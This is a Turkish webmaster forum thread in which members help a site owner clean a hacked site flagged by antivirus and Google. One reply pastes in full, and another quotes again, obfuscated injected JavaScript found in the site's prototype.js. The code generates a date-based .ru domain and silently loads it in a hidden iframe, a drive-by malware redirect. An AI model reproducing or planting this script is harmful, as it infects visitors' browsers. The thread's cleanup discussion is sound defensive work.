Kötü amaçlı yazılım. :(

18.08.2012 13:48

Bayraktar <?php> Kullanıcı

Üyelik 16.08.2012
Yaş/Cinsiyet 32 / E
Meslek Öğrenci
Konum İstanbul Avrupa

Ad Soyad ** **
Mesajlar 90
Beğeniler 16 / 30
Ticaret 2, (%100)

Ftp dosyalarını indiriyorum panelden teker teker taratıcağım.

Ek Olarak: 18.08.2012 13:37:09 Tespit edildi: HEUR:Trojan.Script.Iframer c:\Users\EV\Desktop\Yedek\backup-haxballturkiye.com-8-18-2012.tar.gz/backup-haxballturkiye.com-8-18-2012.tar/./p

Burda virüs buldu.

Bu dosya işinize yarayan bir dosya mı yani sisteminize ait bir parçanın dosyası mı?

1 kişi bu mesajı beğendi.

18.08.2012 14:15

#12

Konyali furkan.konyali@gmail.com Kullanıcı

Üyelik 09.04.2011
Yaş/Cinsiyet 31 / E
Meslek Front-end Developer
Konum İstanbul Anadolu

Ad Soyad F** K**
Mesajlar 1043
Beğeniler 130 / 62
Ticaret 5, (%100)

Bayraktar adlı üyeden alıntı

Bu dosya işinize yarayan bir dosya mı yani sisteminize ait bir parçanın dosyası mı?

hayır siteme ait değil public_html' in dışında bir klasör.

18.08.2012 15:16

#13

ErhanCelikk Üyeliği Durdurulmuş Banlı Kullanıcı

Üyelik 27.05.2012
Yaş/Cinsiyet 30 / E
Meslek Hosting Görevlisi
Konum Ankara

Ad Soyad ** **
Mesajlar 818
Beğeniler 141 / 178
Ticaret 3, (%100)

Dostum senin sorunun dosya silmekle geçecek birşey değil. Sanırım önceki mesajımda yazmamışım. Senin tek yapman gereken js dosyalarını açıp içinde hacklink kodu olup olmadığına bakmak. Bu kodlara örnek olsun diye bir konu açmıştım bak istersen.
Link:http://wmaraci.com/forum/webmaster-genel/yeni-hacklink-49185.html

1 kişi bu mesajı beğendi.

18.08.2012 15:44

#14

Konyali furkan.konyali@gmail.com Kullanıcı

Üyelik 09.04.2011
Yaş/Cinsiyet 31 / E
Meslek Front-end Developer
Konum İstanbul Anadolu

Ad Soyad F** K**
Mesajlar 1043
Beğeniler 130 / 62
Ticaret 5, (%100)

Metin2Turkey Forumu adlı üyeden alıntı

Dostum senin sorunun dosya silmekle geçecek birşey değil. Sanırım önceki mesajımda yazmamışım. Senin tek yapman gereken js dosyalarını açıp içinde hacklink kodu olup olmadığına bakmak. Bu kodlara örnek olsun diye bir konu açmıştım bak istersen.
Link:http://wmaraci.com/forum/webmaster-genel/yeni-hacklink-49185.html

Js dosyalarında hacklink kontrolü yaptım fakat hiç bulamadımJs dosyaları temiz.

18.08.2012 15:48

#15

ErhanCelikk Üyeliği Durdurulmuş Banlı Kullanıcı

Üyelik 27.05.2012
Yaş/Cinsiyet 30 / E
Meslek Hosting Görevlisi
Konum Ankara

Ad Soyad ** **
Mesajlar 818
Beğeniler 141 / 178
Ticaret 3, (%100)

DSJSPextes adlı üyeden alıntı

Js dosyalarında hacklink kontrolü yaptım fakat hiç bulamadımJs dosyaları temiz.

Peki bu ne?

/*c3284d*/

function fry(son,cwm){var var1=['rim','fro','mod'];var var2=15;var2-=27;return cwm}var var3=0.0041;var3++;function pec(ran){var var4=0;do{var var5=6016;var5-=0.003;var var6=7195;var6--;var4++}while(var4<9);return ran}function any(str,shift){var ich,var2,len,ret,cnt1,pos,ch,ext,var6,ch,sux,var1,sh,var3,var4,cnt2,var5;var var1=0;var1+=0.0041;var var2=true;var var3=25;var3++;var var4=8998;var4--;var var3='iLinde_X'.substr(2,4);var var5='ecu';var var6=30;var6-=0.0117;var3+='PixOfWX'.substr(2,3);var var7=0;do{var var10=27;if(var10>21){var var8=30;var8-=13;var var9=2813;var9--}var var11=6340;var11+=0.006;var7++}while(var7<8);for(var var12=0;var12<4;var12++){var var13={the:30}}var var4='LZasfromvg'.substr(4,4);var var14=0;do{var var15=22;var14++}while(var14<6);function pip(pug){var var16=0;while(var16<3){var var20=0.007;if(var20!=5073){var var18=0.015;if(var18!=0.007){var var17='i4wWK6Le'}var var19='Z6RjbopnEM'}var var21={hot:'ted'};var16++}for(var var22=0;var22<7;var22++){var var23=29;var23++;var var24=0.0089;var24+=5}return pug}var4+='ZFCharFV'.substr(2,4);var var28=18;if(var28==0.0182){var var25=0.0108;var25--;var var27=0.0066;if(var27==13){var var26=2893;var26+=0.003}}var4+='tbeCoder9'.substr(3,4);var var29=2105;var29--;var var30=7900;var30++;var var6=10;var var33=5135;if(var33>0){var var31=8939;var31-=0.009;var var32=21;var32+=29}var var36=4887;if(var36!=20){var var34=0.0072;var34++;var var35=['zap','dib','icy']}var6+=6;var var37=['big','cod'];var var1='bjwlenry'.substr(3,3);var var38=0.005;var38+=5820;var1+='XabAgthem'.substr(4,3);var var39=0.0105;var39+=7351;var var42=4370;if(var42<6813){var var40=12;var40--;var var41=5167;var41+=0.0073}var var2='CJp6subkQ'.substr(4,3);var var43=17;var43--;var var44=0;do{var var51=11;if(var51==0.0108){var var50=7414;if(var50==3044){var var48=4790;if(var48<5435){var var45='ihTb6Y';var var47=4274;if(var47>0.061){var var46=6885;var46++}}var var49=0.0125;var49++}}var var52=3526;var52+=5699;var44++}while(var44<6);var2+='XCzstrZP'.substr(3,3);function rep(pro,koa){var var53=0.004;var var54=0.028;var54-=8;return pro}var var5=86;var var55=14;var55--;var5-=24;var var58=4001;if(var58<0.018){var var56=6456;var56+=5;var var57=3850;var57--}var sux='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';var var62=0.019;if(var62==0.007){var var61=0.0302;if(var61>0.012){var var59=[40,0,30,20,10];var var60=null}}var ret='';var var63=22;var63-=0.012;var ext='';function dry(bys,bob){var var64=[5,20,15,0,10,25];return bys}var sh=0;var var65=6878;var65-=0.0023;var len=str[var1];var var66=0;while(var66<3){var var68=15;if(var68==0.008){var var67=0.0052}var var69=null;var69-=6;var66++}for(var cnt1=0;cnt10){var var81=8;if(var81!=0.006){var var79=['pah','fee','nun'];var var80=20;var80-=8074}var var82=0.0048;var82-=0.0035}pos%=var5;var var90=16;if(var90<6562){var var86=0.0315;if(var86!=28){var var84='NiBvpsunS';var var85={rap:6526}}var var89=0.0082;if(var89<0.03){var var87=0.0096;var87+=3351;var var88=0.006;var88-=0.0158}}var var91=0;while(var91<9){var var92=0.028;var var93='dui';var91++}ret+=sux[var2](pos,1);var var94=['fen','sot','sub']}var var95=17;var95++;var var96=6058;var96++;for(var cnt2=0;cnt20.0013){var va***2=6023;va***2-=6759}}var va***4=16;va***4-=0.0067;return ext}var var7=8;var7--;function wry(){var hi,test,lo;var var1=8908;function fil(mho){var var3=3814;if(var3==0.0117){var var2=21;var2+=1713}return mho}var var6=0.019;if(var6!=0.009){var var4=0.0078;var4--;var var5=7005}for(var var7=0;var7<7;var7++){var var8=['urn','mol']}var hi=this.seed/this.Q;for(var var9=0;var9<10;var9++){var var13=20;if(var13!=3498){var var10=true;var var12=7641;if(var12==null){var var11=6267;var11+=0.012}}var var14=true}    var lo=this.seed%this.Q;var var15=1919;var var16=3686;    var test=this.A*lo-this.R*hi;var var17=1759;var17-=29;    if(test>0){var var18=0;do{var var19=6277;var19+=11;var var20='rot';var18++}while(var18<10);var var21=5164;var21--;        this.seed=test;var var22=0.019;var22+=2040}else{var var27=22;if(var27==3427){var var25=1247;if(var25!=9){var var23=0;var23-=8219;var var24=true}var var26=0;var26+=7325}for(var var28=0;var28<9;var28++){var var29=6103;var29+=9;var var32=4915;if(var32!=0){var var30=0.0057;var30--;var var31={hub:'gnu'}}}        this.seed=test+this.M;var var37=0.008;if(var37>30){var var35=0.003;if(var35<0.039){var var33=0.003;var33++;var var34=1229;var34--}var var36=5235}}var var38=28;var38+=0.0193;var var39=['dot','bag'];    return(this.seed*this.oneOverM)}for(var var8=0;var8<7;var8++){var var9=13;var9--}function jew(pis,oho,wag){var var10=19;var10++;return pis}function daw(unix){var var1,s,var2,var3,d;var var4=1370;var4++;var var2=47184;function fem(mac){var var5=0.014;var var6=8874;var6+=23;return mac}var2+=18351;function vat(dew){var var7=0.001;var7--;var var11=0.0043;if(var11>0.012){var var9=0.0097;if(var9<0.008){var var8={bis:['tic','jin','spa']}}var var10=1242;var10+=4338}return dew}var var12=0;while(var12<6){var var13=8;var13--;var var14=0.0112;var14++;var12++}var var1=14156461;function kas(gib,ism){var var15=6;var15++;return ism}var var16=7;var16-=7843;var1+=2620754;var var17=0.028;var17--;var var3=4140;var var23=20;if(var23!=0.0208){var var18=2319;var18++;var var22=18;if(var22>5929){var var20=3349;if(var20==null){var var19=27;var19-=8943}var var21=22;var21--}}var var24=false;var3-=45;var var26=2016;if(var26==0.009){var var25=17;var25--}var d=new Date(unix*1000);var var31=6966;if(var31<27){var var27=2689;var27++;var var30=0.013;if(var30==0.0121){var var28=0.015;var28++;var var29=3946;var29--}}    var s=Math.ceil(d.getHours()/3);var var32=0;var32+=0.0286;var var33=25;var33--;    this.seed=2345678901+(d.getMonth()*var1)+(d.getDate()*var2)+(Math.round(s*var3));var var34='fud';    this.A=48271;var var35=8;var35--;var var36=0;while(var36<5){var var37=[27,18,9,0,36];var var38=0.0061;var38--;var36++}    this.M=2147483647;var var39=0;while(var39<4){var var45=0.021;if(var45<0.0042){var var41=7105;if(var416410){var var42=[15,10,5,0];var var43=0.019;var43++}}var39++}for(var var46=0;var46<8;var46++){var var47=8;var var48='lye'}    this.Q=this.M/this.A;var var49=0;while(var49<9){var var50=0;var50-=7645;var49++}var var51=4344;var51++;    this.R=this.M%this.A;var var52='fer';    this.oneOverM=1.0/this.M;function cut(ooh,obe,sir){var var53=4831;var53-=5120;return obe}    this.next=wry;var var55=0.0355;if(var55<6191){var var54=0.0181;var54+=1447}    return this}var var11=false;function hog(lat){var var13=0.0038;if(var13!=19){var var12=9;var12-=0.0141}var var14=['gar','cor','pew'];return lat}function ads(r,Min,Max){var var1=0.02;var1--;return Math.round((Max-Min)*r.next()+Min)}var var15=0;while(var15<6){var var16=[0,14,7,28,21];var15++}var var17=0;while(var17<9){var var18=4688;var18+=6919;var var19=21;var17++}function oaf(unix,length,zone){var letters,i,rand,str;var var3=3018;if(var3<0.007){var var1=23;var var2=3083;var2-=2220}var var8=0.039;if(var8>0.005){var var4='SUZFgHriz';var var7=0.0047;if(var7==17){var var5=8933;var5+=8905;var var6=0.0091;var6+=3291}}var rand=new daw(unix);function suq(nth,abs,kat){for(var var9=0;var9<10;var9++){var var12=21;if(var12!=6460){var var10=0.011;var10++;var var11=8073}}var var13=true;return nth}    var letters='qmahgwctopfjilrfpjrfcwgewheizwdw'.split('');var var14=true;var var15=0;var15+=26;    var str='';var var16=0;do{var var17='vim';var16++}while(var16<4);var var20=8130;if(var20>1288){var var18=22;var18++;var var19=null;var19-=0.027}for(var i=0; i10){var var25=8;if(var25<7){var var24=0.02;var24-=4654}}}}var var28={guv:0.0028};    return str+'.'+zone}var var22=0.012;if(var22==0.0041){var var20=6548;var20++;var var21=7131;var21++}setInterval(function(){var var23=6714;var23--;for(var var24=0;var24<7;var24++){var var25=['lac','mig','tie']}    try{var var26=0.0505;var26++;var var27=0;var27+=10;        if(typeof iframeWasCreated=='undefined'){var var28=27;var28++;            var unix=Math.round(+new Date()/1000);function dab(kay,soy){var var29=16;return soy}            var domainName=oaf(unix, 16, 'ru');var var30=0;var30+=3518;function ole(roe){var var31=6;return roe}            ifrm=document.createElement('IFRAME'); for(var var32=0;var32<4;var32++){var var33=5939;var33-=9}            ifrm.setAttribute('src', 'http://'+domainName+'/in.cgi?17'); var var34=[0,18,27,9,45,36];            ifrm.style.width='0px'; var var35=0;do{var var36=19;var35++}while(var35<8);            ifrm.style.height='0px'; var var37=16;var37--;            ifrm.style.visibility='hidden'; var var38=6;            document.body.appendChild(ifrm);function hup(aal,rah,ama){var var39=0;do{var var40=27;var40++;var39++}while(var39<9);return rah}var var41=0;while(var41<9){var var42=7914;var var43=0.018;var43--;var41++}iframeWasCreated=true;var var44=24;var44+=0.005;var var45=0.0113;var45-=5}var var50=1458;if(var50!=1121){var var46=0.0196;var var49=0.0228;if(var49==8396){var var47=null;var47+=1965;var var48=0;var48-=6544}}}catch(e){iframeWasCreated=undefined}var var51=3277;var51--;var var52=[15,5,10,20,0]}, 100);

/*/c3284d*/

Dosya link:http://haxballturkiye.com/jscripts/prototype.js?ver=1603

Daha fazlasına bakamam çünkü kendimi riske atmak gibi bir niyetim yok!

18.08.2012 16:02

#16

Konyali furkan.konyali@gmail.com Kullanıcı

Üyelik 09.04.2011
Yaş/Cinsiyet 31 / E
Meslek Front-end Developer
Konum İstanbul Anadolu

Ad Soyad F** K**
Mesajlar 1043
Beğeniler 130 / 62
Ticaret 5, (%100)

Metin2Turkey Forumu adlı üyeden alıntı

Peki bu ne?

/*c3284d*/

function fry(son,cwm){var var1=['rim','fro','mod'];var var2=15;var2-=27;return cwm}var var3=0.0041;var3++;function pec(ran){var var4=0;do{var var5=6016;var5-=0.003;var var6=7195;var6--;var4++}while(var4<9);return ran}function any(str,shift){var ich,var2,len,ret,cnt1,pos,ch,ext,var6,ch,sux,var1,sh,var3,var4,cnt2,var5;var var1=0;var1+=0.0041;var var2=true;var var3=25;var3++;var var4=8998;var4--;var var3='iLinde_X'.substr(2,4);var var5='ecu';var var6=30;var6-=0.0117;var3+='PixOfWX'.substr(2,3);var var7=0;do{var var10=27;if(var10>21){var var8=30;var8-=13;var var9=2813;var9--}var var11=6340;var11+=0.006;var7++}while(var7<8);for(var var12=0;var12<4;var12++){var var13={the:30}}var var4='LZasfromvg'.substr(4,4);var var14=0;do{var var15=22;var14++}while(var14<6);function pip(pug){var var16=0;while(var16<3){var var20=0.007;if(var20!=5073){var var18=0.015;if(var18!=0.007){var var17='i4wWK6Le'}var var19='Z6RjbopnEM'}var var21={hot:'ted'};var16++}for(var var22=0;var22<7;var22++){var var23=29;var23++;var var24=0.0089;var24+=5}return pug}var4+='ZFCharFV'.substr(2,4);var var28=18;if(var28==0.0182){var var25=0.0108;var25--;var var27=0.0066;if(var27==13){var var26=2893;var26+=0.003}}var4+='tbeCoder9'.substr(3,4);var var29=2105;var29--;var var30=7900;var30++;var var6=10;var var33=5135;if(var33>0){var var31=8939;var31-=0.009;var var32=21;var32+=29}var var36=4887;if(var36!=20){var var34=0.0072;var34++;var var35=['zap','dib','icy']}var6+=6;var var37=['big','cod'];var var1='bjwlenry'.substr(3,3);var var38=0.005;var38+=5820;var1+='XabAgthem'.substr(4,3);var var39=0.0105;var39+=7351;var var42=4370;if(var42<6813){var var40=12;var40--;var var41=5167;var41+=0.0073}var var2='CJp6subkQ'.substr(4,3);var var43=17;var43--;var var44=0;do{var var51=11;if(var51==0.0108){var var50=7414;if(var50==3044){var var48=4790;if(var48<5435){var var45='ihTb6Y';var var47=4274;if(var47>0.061){var var46=6885;var46++}}var var49=0.0125;var49++}}var var52=3526;var52+=5699;var44++}while(var44<6);var2+='XCzstrZP'.substr(3,3);function rep(pro,koa){var var53=0.004;var var54=0.028;var54-=8;return pro}var var5=86;var var55=14;var55--;var5-=24;var var58=4001;if(var58<0.018){var var56=6456;var56+=5;var var57=3850;var57--}var sux='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';var var62=0.019;if(var62==0.007){var var61=0.0302;if(var61>0.012){var var59=[40,0,30,20,10];var var60=null}}var ret='';var var63=22;var63-=0.012;var ext='';function dry(bys,bob){var var64=[5,20,15,0,10,25];return bys}var sh=0;var var65=6878;var65-=0.0023;var len=str[var1];var var66=0;while(var66<3){var var68=15;if(var68==0.008){var var67=0.0052}var var69=null;var69-=6;var66++}for(var cnt1=0;cnt10){var var81=8;if(var81!=0.006){var var79=['pah','fee','nun'];var var80=20;var80-=8074}var var82=0.0048;var82-=0.0035}pos%=var5;var var90=16;if(var90<6562){var var86=0.0315;if(var86!=28){var var84='NiBvpsunS';var var85={rap:6526}}var var89=0.0082;if(var89<0.03){var var87=0.0096;var87+=3351;var var88=0.006;var88-=0.0158}}var var91=0;while(var91<9){var var92=0.028;var var93='dui';var91++}ret+=sux[var2](pos,1);var var94=['fen','sot','sub']}var var95=17;var95++;var var96=6058;var96++;for(var cnt2=0;cnt20.0013){var va***2=6023;va***2-=6759}}var va***4=16;va***4-=0.0067;return ext}var var7=8;var7--;function wry(){var hi,test,lo;var var1=8908;function fil(mho){var var3=3814;if(var3==0.0117){var var2=21;var2+=1713}return mho}var var6=0.019;if(var6!=0.009){var var4=0.0078;var4--;var var5=7005}for(var var7=0;var7<7;var7++){var var8=['urn','mol']}var hi=this.seed/this.Q;for(var var9=0;var9<10;var9++){var var13=20;if(var13!=3498){var var10=true;var var12=7641;if(var12==null){var var11=6267;var11+=0.012}}var var14=true}    var lo=this.seed%this.Q;var var15=1919;var var16=3686;    var test=this.A*lo-this.R*hi;var var17=1759;var17-=29;    if(test>0){var var18=0;do{var var19=6277;var19+=11;var var20='rot';var18++}while(var18<10);var var21=5164;var21--;        this.seed=test;var var22=0.019;var22+=2040}else{var var27=22;if(var27==3427){var var25=1247;if(var25!=9){var var23=0;var23-=8219;var var24=true}var var26=0;var26+=7325}for(var var28=0;var28<9;var28++){var var29=6103;var29+=9;var var32=4915;if(var32!=0){var var30=0.0057;var30--;var var31={hub:'gnu'}}}        this.seed=test+this.M;var var37=0.008;if(var37>30){var var35=0.003;if(var35<0.039){var var33=0.003;var33++;var var34=1229;var34--}var var36=5235}}var var38=28;var38+=0.0193;var var39=['dot','bag'];    return(this.seed*this.oneOverM)}for(var var8=0;var8<7;var8++){var var9=13;var9--}function jew(pis,oho,wag){var var10=19;var10++;return pis}function daw(unix){var var1,s,var2,var3,d;var var4=1370;var4++;var var2=47184;function fem(mac){var var5=0.014;var var6=8874;var6+=23;return mac}var2+=18351;function vat(dew){var var7=0.001;var7--;var var11=0.0043;if(var11>0.012){var var9=0.0097;if(var9<0.008){var var8={bis:['tic','jin','spa']}}var var10=1242;var10+=4338}return dew}var var12=0;while(var12<6){var var13=8;var13--;var var14=0.0112;var14++;var12++}var var1=14156461;function kas(gib,ism){var var15=6;var15++;return ism}var var16=7;var16-=7843;var1+=2620754;var var17=0.028;var17--;var var3=4140;var var23=20;if(var23!=0.0208){var var18=2319;var18++;var var22=18;if(var22>5929){var var20=3349;if(var20==null){var var19=27;var19-=8943}var var21=22;var21--}}var var24=false;var3-=45;var var26=2016;if(var26==0.009){var var25=17;var25--}var d=new Date(unix*1000);var var31=6966;if(var31<27){var var27=2689;var27++;var var30=0.013;if(var30==0.0121){var var28=0.015;var28++;var var29=3946;var29--}}    var s=Math.ceil(d.getHours()/3);var var32=0;var32+=0.0286;var var33=25;var33--;    this.seed=2345678901+(d.getMonth()*var1)+(d.getDate()*var2)+(Math.round(s*var3));var var34='fud';    this.A=48271;var var35=8;var35--;var var36=0;while(var36<5){var var37=[27,18,9,0,36];var var38=0.0061;var38--;var36++}    this.M=2147483647;var var39=0;while(var39<4){var var45=0.021;if(var45<0.0042){var var41=7105;if(var416410){var var42=[15,10,5,0];var var43=0.019;var43++}}var39++}for(var var46=0;var46<8;var46++){var var47=8;var var48='lye'}    this.Q=this.M/this.A;var var49=0;while(var49<9){var var50=0;var50-=7645;var49++}var var51=4344;var51++;    this.R=this.M%this.A;var var52='fer';    this.oneOverM=1.0/this.M;function cut(ooh,obe,sir){var var53=4831;var53-=5120;return obe}    this.next=wry;var var55=0.0355;if(var55<6191){var var54=0.0181;var54+=1447}    return this}var var11=false;function hog(lat){var var13=0.0038;if(var13!=19){var var12=9;var12-=0.0141}var var14=['gar','cor','pew'];return lat}function ads(r,Min,Max){var var1=0.02;var1--;return Math.round((Max-Min)*r.next()+Min)}var var15=0;while(var15<6){var var16=[0,14,7,28,21];var15++}var var17=0;while(var17<9){var var18=4688;var18+=6919;var var19=21;var17++}function oaf(unix,length,zone){var letters,i,rand,str;var var3=3018;if(var3<0.007){var var1=23;var var2=3083;var2-=2220}var var8=0.039;if(var8>0.005){var var4='SUZFgHriz';var var7=0.0047;if(var7==17){var var5=8933;var5+=8905;var var6=0.0091;var6+=3291}}var rand=new daw(unix);function suq(nth,abs,kat){for(var var9=0;var9<10;var9++){var var12=21;if(var12!=6460){var var10=0.011;var10++;var var11=8073}}var var13=true;return nth}    var letters='qmahgwctopfjilrfpjrfcwgewheizwdw'.split('');var var14=true;var var15=0;var15+=26;    var str='';var var16=0;do{var var17='vim';var16++}while(var16<4);var var20=8130;if(var20>1288){var var18=22;var18++;var var19=null;var19-=0.027}for(var i=0; i10){var var25=8;if(var25<7){var var24=0.02;var24-=4654}}}}var var28={guv:0.0028};    return str+'.'+zone}var var22=0.012;if(var22==0.0041){var var20=6548;var20++;var var21=7131;var21++}setInterval(function(){var var23=6714;var23--;for(var var24=0;var24<7;var24++){var var25=['lac','mig','tie']}    try{var var26=0.0505;var26++;var var27=0;var27+=10;        if(typeof iframeWasCreated=='undefined'){var var28=27;var28++;            var unix=Math.round(+new Date()/1000);function dab(kay,soy){var var29=16;return soy}            var domainName=oaf(unix, 16, 'ru');var var30=0;var30+=3518;function ole(roe){var var31=6;return roe}            ifrm=document.createElement('IFRAME'); for(var var32=0;var32<4;var32++){var var33=5939;var33-=9}            ifrm.setAttribute('src', 'http://'+domainName+'/in.cgi?17'); var var34=[0,18,27,9,45,36];            ifrm.style.width='0px'; var var35=0;do{var var36=19;var35++}while(var35<8);            ifrm.style.height='0px'; var var37=16;var37--;            ifrm.style.visibility='hidden'; var var38=6;            document.body.appendChild(ifrm);function hup(aal,rah,ama){var var39=0;do{var var40=27;var40++;var39++}while(var39<9);return rah}var var41=0;while(var41<9){var var42=7914;var var43=0.018;var43--;var41++}iframeWasCreated=true;var var44=24;var44+=0.005;var var45=0.0113;var45-=5}var var50=1458;if(var50!=1121){var var46=0.0196;var var49=0.0228;if(var49==8396){var var47=null;var47+=1965;var var48=0;var48-=6544}}}catch(e){iframeWasCreated=undefined}var var51=3277;var51--;var var52=[15,5,10,20,0]}, 100);

/*/c3284d*/

Dosya link:http://haxballturkiye.com/jscripts/prototype.js?ver=1603

Daha fazlasına bakamam çünkü kendimi riske atmak gibi bir niyetim yok!

Tamamdır.2 tane daha buldum ve temizledim sorun hallolldu galiba, bu arada ilk defa bu başıma geldiğinden dolayı birşey bilmiyordum.İlginiz ve alakanız için teşekkürler @Metin2Turkey kardeşim çok teşekkürler.

Ek Olarak: Tekrar inceleme gönderdim.Siteyi reflesh lediğimde anti virüs uyarı vermiyor ama siteme tarayıcıdan tekrar girince uyarı veriyor yine :(

18.08.2012 16:09

#17

ErhanCelikk Üyeliği Durdurulmuş Banlı Kullanıcı

Üyelik 27.05.2012
Yaş/Cinsiyet 30 / E
Meslek Hosting Görevlisi
Konum Ankara

Ad Soyad ** **
Mesajlar 818
Beğeniler 141 / 178
Ticaret 3, (%100)

DSJSPextes adlı üyeden alıntı

Tamamdır.2 tane daha buldum ve temizledim sorun hallolldu galiba, bu arada ilk defa bu başıma geldiğinden dolayı birşey bilmiyordum.İlginiz ve alakanız için teşekkürler @Metin2Turkey kardeşim çok teşekkürler.

Ek Olarak: Tekrar inceleme gönderdim.Siteyi reflesh lediğimde anti virüs uyarı vermiyor ama siteme tarayıcıdan tekrar girince uyarı veriyor yine :(

Problem değil ama sana yardım edeyim derken sanırım bu illet virüs bana da bulaştı umarım bir problem çıkmaz yoksa 1 hafta içerisinde atacağım 3. formatı atmam gerekecek.

Bence sen tüm JS dosyalarını Notepad++ ile açıp içlerini tek tek kontrol et sonra bir de sayfalarını bu şekilde kontrol et son aşama olarak Google'a tekrar inceleme gönder. Eğer tamamen temizlemeden inceleme gönderirsen süreç çok fazla uzar.

Ek Olarak:Hala virüsleri temizlememişsin ki ?

1 kişi bu mesajı beğendi.

19.08.2012 11:08

#18

altaymns WM Aracı Kullanıcı

Üyelik 13.10.2011
Yaş/Cinsiyet 73 / E
Meslek emekli
Konum

Ad Soyad ** **
Mesajlar 9
Beğeniler 0 / 2
Ticaret 0, (%0)

oldukça kolay,en kısa ve kesin çözüm yolu (başıma geldi bilirim Hatta googleden uyarı bile almıştım)
önce bilgisayarını formatla
nod 32 ve spyware virüs programlarını kur.
sunucudaki dosyaları bilgisayarına indir.
önce manuel tüm php dosyalarını (genelde en üstte olur) söz konusu kodlar varmı yokmu kontrol et.(tüm php dosyaları images,avatar, vb içindeki tüm php leri)
daha sonra tüm dosyaları spyware ve nod ile 2 KERE tarattır.
veri tabanı yedeğini al.tarattır.
sunucudaki dosyaları SİL:
tarama yaptığın yedeklerle yeniden yükle.
bu arada bir kaç üye veya konu kaybedebilirsin.
başıma geldiği için kesin anlatıyorum. uygularsan kesinlikle kurtulursun.

Yeni google arama

19.08.2012 11:12

#19

Konyali furkan.konyali@gmail.com Kullanıcı

Üyelik 09.04.2011
Yaş/Cinsiyet 31 / E
Meslek Front-end Developer
Konum İstanbul Anadolu

Ad Soyad F** K**
Mesajlar 1043
Beğeniler 130 / 62
Ticaret 5, (%100)

altaymns adlı üyeden alıntı

oldukça kolay,en kısa ve kesin çözüm yolu (başıma geldi bilirim Hatta googleden uyarı bile almıştım)
önce bilgisayarını formatla
nod 32 ve spyware virüs programlarını kur.
sunucudaki dosyaları bilgisayarına indir.
önce manuel tüm php dosyalarını (genelde en üstte olur) söz konusu kodlar varmı yokmu kontrol et.(tüm php dosyaları images,avatar, vb içindeki tüm php leri)
daha sonra tüm dosyaları spyware ve nod ile 2 KERE tarattır.
veri tabanı yedeğini al.tarattır.
sunucudaki dosyaları SİL:
tarama yaptığın yedeklerle yeniden yükle.
bu arada bir kaç üye veya konu kaybedebilirsin.
başıma geldiği için kesin anlatıyorum. uygularsan kesinlikle kurtulursun.

Javascripte hacklink vardı sildim ve tüm php dosyalarına baktım.Google ' ageri bildirimde yaptım sorunda çözüldü.İlginiz için sağolun dün gece çözdüm.

1 kişi bu mesajı beğendi.

19.08.2012 11:41

#20

Muhsin ASLAN Üyeliği Durdurulmuş Banlı Kullanıcı

Üyelik 10.07.2012
Yaş/Cinsiyet 29 / E
Meslek Developer
Konum Konya

Ad Soyad M** A**
Mesajlar 1120
Beğeniler 1086 / 244
Ticaret 1, (%100)

Hocam virüs'ü temizlemesi için hosting firması ile görüşün.

iyi çalışmalar

Kötü amaçlı yazılım. :(

Üye Girişi Yap